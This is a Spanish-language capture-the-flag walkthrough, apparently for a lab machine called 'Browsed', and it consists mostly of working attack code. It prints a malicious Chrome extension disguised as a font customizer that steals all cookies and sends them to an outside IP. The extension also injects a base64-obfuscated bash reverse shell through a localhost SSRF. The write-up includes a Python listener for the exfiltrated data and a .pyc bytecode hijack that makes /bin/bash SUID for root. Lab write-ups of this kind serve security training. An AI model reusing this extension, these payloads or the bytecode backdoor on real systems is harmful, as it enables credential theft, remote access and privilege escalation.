Browsed

---

Descubrimiento del servicio:

nmap -sV -sC 10.129.X.X

• Puerto 80: HTTP - http://browsed.htb

• Aplicación web que sube extensiones Chrome

---

Enumeración web:

gobuster dir -u http://browsed.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

• upload.php - Subida de extensiones Chrome (.zip)

---

CHROME EXTENSION EXPLOIT

Crear extensión Chrome maliciosa:

manifest.json (Archivo principal de configuración)

{
  "manifest_version": 3,
  "name": "Font Customizer",
  "version": "1.0",
  "description": "Customize your browsing fonts",
  "permissions": ["cookies", "tabs", "storage"],
  "host_permissions": [
    "http://browsed.htb/*",
    "https://browsed.htb/*",
    "<all_urls>"
  ],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"]
  }]
}

background.js (Código malicioso principal)

chrome.runtime.onInstalled.addListener(() => {
  // 1. ROBO DE COOKIES
  chrome.cookies.getAll({}, (cookies) => {
    fetch("http://10.10.16.145:4445/loot", {
      method: "POST",
      body: JSON.stringify(cookies),
      headers: {"Content-Type": "application/json"}
    });
  });
  
  // 2. COMMAND INJECTION via SSRF
  const payload = "x[$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNDUvNDQ0NiAwPiYxCg==|base64${IFS}-d|bash)]";
  
  // Intentar en localhost y 127.0.0.1
  fetch("http://localhost:5000/routines/" + payload, {mode: "no-cors"});
  fetch("http://127.0.0.1:5000/routines/" + payload, {mode: "no-cors"});
});

Análisis del payload:

# El payload base64 decodificado:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNDUvNDQ0NiAwPiYxCg==" | base64 -d
# Resultado: bash -i >& /dev/tcp/10.10.16.145/4446 0>&1

# Estructura del exploit:
x[$(echo${IFS}BASE64_PAYLOAD|base64${IFS}-d|bash)]
# Donde:
# - x[$(...)]: Bypass de validación numérica en routines.sh
# - ${IFS}: Internal Field Separator (espacio)
# - base64${IFS}-d: Decodifica el payload
# - bash: Ejecuta el shellcode

---

EMPAQUETAR en ZIP

zip malicious_extension.zip manifest.json background.js

---

listener_advanced.py (Listener mejorado para exfiltración)

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
import base64

class Handler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        # Silenciar logs normales
        pass
    
    def do_POST(self):
        content_length = int(self.headers.get('Content-Length', 0))
        post_data = self.rfile.read(content_length)
        
        try:
            cookies = json.loads(post_data)
            print("\n" + "="*50)
            print("COOKIES EXFILTRADAS:")
            print("="*50)
            
            for cookie in cookies:
                name = cookie.get('name', '')
                value = cookie.get('value', '')
                domain = cookie.get('domain', '')
                
                print(f"[+] {name} = {value}")
                print(f"    Dominio: {domain}")
                
                # Buscar cookie de Gitea
                if "gitea" in name.lower() or "larry" in name.lower():
                    print(f"\n[!] COOKIE IMPORTANTE ENCONTRADA: {name}")
                    print(f"[!] Valor: {value}")
        except:
            print("\nDatos recibidos (no JSON):")
            print(post_data.decode('utf-8', errors='ignore'))
        
        self.send_response(200)
        self.end_headers()
    
    def do_GET(self):
        # Para recibir datos de lectura de archivos
        if self.path.startswith('/file_read'):
            import urllib.parse
            params = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
            if 'data' in params:
                data = base64.b64decode(params['data'][0]).decode()
                print("\n" + "="*50)
                print("ARCHIVO LEÍDO (/etc/passwd):")
                print("="*50)
                print(data)
        
        self.send_response(200)
        self.end_headers()

if __name__ == "__main__":
    print("[*] Servidor de exfiltración iniciado en puerto 4445")
    print("[*] Esperando datos...")
    server = HTTPServer(('0.0.0.0', 4445), Handler)
    server.serve_forever()

Ejecutar el listener

python3 listener_advanced.py

==================================================
COOKIES EXFILTRADAS:
==================================================
[+] PHPSESSID = abc123def456
    Dominio: browsed.htb
[+] i_like_gitea = 2a6b5c3d4e5f6g7h8i9j0k1l2m3n4o5p
    Dominio: browsedinternals.htb

[!] COOKIE IMPORTANTE ENCONTRADA: i_like_gitea
[!] Valor: 2a6b5c3d4e5f6g7h8i9j0k1l2m3n4o5p

---

PARA LA SHELL REVERSA (puerto 4446):

nc -lvnp 4446

---

PARA ROOT

---

# Desde tu shell reversa (puerto 4446)
whoami  # larry
id      # uid=1000(larry) gid=1000(larry)

Investigar /opt/extensiontool

ls -la /opt/extensiontool/
# extension_tool.py
# extension_utils.py
# __pycache__/

ls -la /opt/extensiontool/__pycache__/
# drwxrwxrwx  ¡WORLD-WRITABLE!

Crear exploit de Python bytecode injection

# Creaste hijack.py en /tmp
cat > /tmp/hijack.py << 'EOF'
import marshal
import struct
import importlib.util

TARGET_PYC = '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'
ORIGINAL_TIMESTAMP = 1742727379
ORIGINAL_SIZE = 1245

# Header con flags=0
magic = importlib.util.MAGIC_NUMBER
flags = b'\x00\x00\x00\x00'  # ¡IMPORTANTE! Desactiva validación
ts = struct.pack('<I', ORIGINAL_TIMESTAMP)
sz = struct.pack('<I', ORIGINAL_SIZE)
header = magic + flags + ts + sz

# Código malicioso
code_string = '''
import os
def validate_manifest(p):
    os.system('chmod u+s /bin/bash')  # Hacer bash SUID
    return {}
def clean_temp_files(b):
    pass
'''
bytecode = compile(code_string, "extension_utils.py", "exec")
payload = marshal.dumps(bytecode)

# Sobrescribir .pyc
with open(TARGET_PYC, 'wb') as f:
    f.write(header + payload)

print(f"[+] {TARGET_PYC} overwritten with backdoor.")
EOF

Ejecutar el exploit

python3 /tmp/hijack.py
# [+] /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc overwritten with backdoor.

Activar el backdoor (ejecutar como root)

sudo /opt/extensiontool/extension_tool.py --ext Fontify --zip /tmp/fontify.zip
# El script se ejecuta como root, importa extension_utils

Verificar bash SUID

ls -la /bin/bash
# -rwsr-xr-x 1 root root ...  ¡SUID ACTIVADO!
# La 's' en -rwsr-xr-x indica SUID bit

Convertirse en root

/bin/bash -p  # -p preserva privilegios
id
# uid=1000(larry) gid=1000(larry) euid=0(root) groups=1000(larry)
# ¡euid=0 significa root efectivo!

cd /root
ls
cat root.txt